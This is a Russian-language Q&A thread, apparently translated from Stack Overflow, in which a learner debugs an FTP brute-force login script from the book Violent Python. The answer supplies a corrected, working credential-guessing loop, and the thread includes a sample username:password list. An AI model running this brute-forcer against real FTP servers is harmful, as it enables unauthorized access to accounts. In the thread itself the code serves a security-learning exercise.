2016-03-16 9 views
1

Я следую вместе с кодом из книги Violent Python. Это то, что я здесь, тестирование грубой силы из FTP:Python - Прохождение через исключения?

import ftplib 

def bruteLogin(hostname, passwdFile): 
    pF = open(passwdFile, 'r') 
    for line in pF.readlines(): 
     userName = line.split(':')[0] 
     passWord = line.split(':')[1].strip('\r').strip('\n') 
     print("[+] Trying: "+userName+"/"+passWord) 
     try: 
      ftp = ftplib.FTP(hostname) 
      ftp.login(userName, passWord) 
      print('\n[*] ' + str(hostname) +\ 
      ' FTP Logon Succeeded: '+userName+"/"+passWord) 
      ftp.quit() 
      return (userName, passWord) 
     except Exception as e: 
      pass 
     print('\n[-] Could not brute force FTP credentials.') 
    return (None, None) 

host = '192.168.95.179' 
passwdFile = 'C:/Users/Andrew/Documents/Python Stuff/userpass.txt' 
bruteLogin(host, passwdFile) 

Используя пример «userpass.txt», состоящий из:

administrator:password 
admin:12345 
root:secret 
guest:guest 
root:root 

При запуске (я использую Python 3.4, кстати) она должна возвращать результат этого:

[+] Trying: administrator/password 
[+] Trying: admin/12345 
[+] Trying: root/secret 
[+] Trying: guest/guest 
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest 

выше приведен пример успешного входа в систему, конечно. При фактическом запуске он возвращает «Не удалось найти принудительные учетные данные FTP», но, кажется, пытается попробовать только первую строку текстового файла, вместо того чтобы проходить через исключение и пробовать другие строки, как описано в книге , Есть идеи?

ответ

0

Вы должны напечатать эту строку «Не удалось найти ...» только после завершения цикла. Ваш текущий код делает это с каждой итерацией, поэтому, если первая попытка не удалась, она уже напечатана.

Кроме того, легче рассуждать об исключениях, если вы храните блок try как можно короче, и исключение должно быть уловлено как можно более конкретным. Это уменьшает количество случаев, когда обрабатывается исключение, и позволяет всем другим, несвязанным исключениям взорваться и стать видимыми, помогая вам отлаживать ваш код в тех местах, которые вы не ожидаете делать исключениями. Тогда ваш код может выглядеть так:

def bruteLogin(hostname, passwdFile): 
    pF = open(passwdFile, 'r') 
    ftp = ftplib.FTP(hostname) # reuse the connection 

    for line in pF.readlines(): 
     userName, passWord = line.split(':', 1) # split only once, the pw may contain a : 
     passWord = passWord.strip('\r\n') # strip any of the two characters 
     print("[+] Trying: {}/{}".format(userName, passWord)) 

     try: 
      ftp.login(userName, passWord) 
     except ftplib.error_perm: 
      continue 
     else: 
      print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord)) 
      ftp.quit() 
      return userName, passWord 

    print('\n[-] Could not brute force FTP credentials.') 
    return None, None 
+0

Отлично, спасибо. Теперь, пытаясь выполнить код, я получаю сообщение об ошибке «[WinError 10061] Никакое соединение не может быть сделано, потому что целевая машина активно отказалась». Этого не случилось с кодом, который я использовал раньше. – Karrigan

+0

Технически, это потому, что вы больше не поймаете это исключение. Вы можете либо добавить его к предложению 'except', если вы уверены, что это означает, что учетные данные недействительны, или вы можете сделать вывод, что что-то пошло не так, и обрабатывайте его по-разному, например. путем выхода из цикла с сообщением о том, что сервер не является кооперативным. То, что здесь правильно, зависит от вашего прецедента, но именно поэтому я защищаю определенные исключения: только делая это, вы даже получаете возможность делать такие различия. –

Смежные вопросы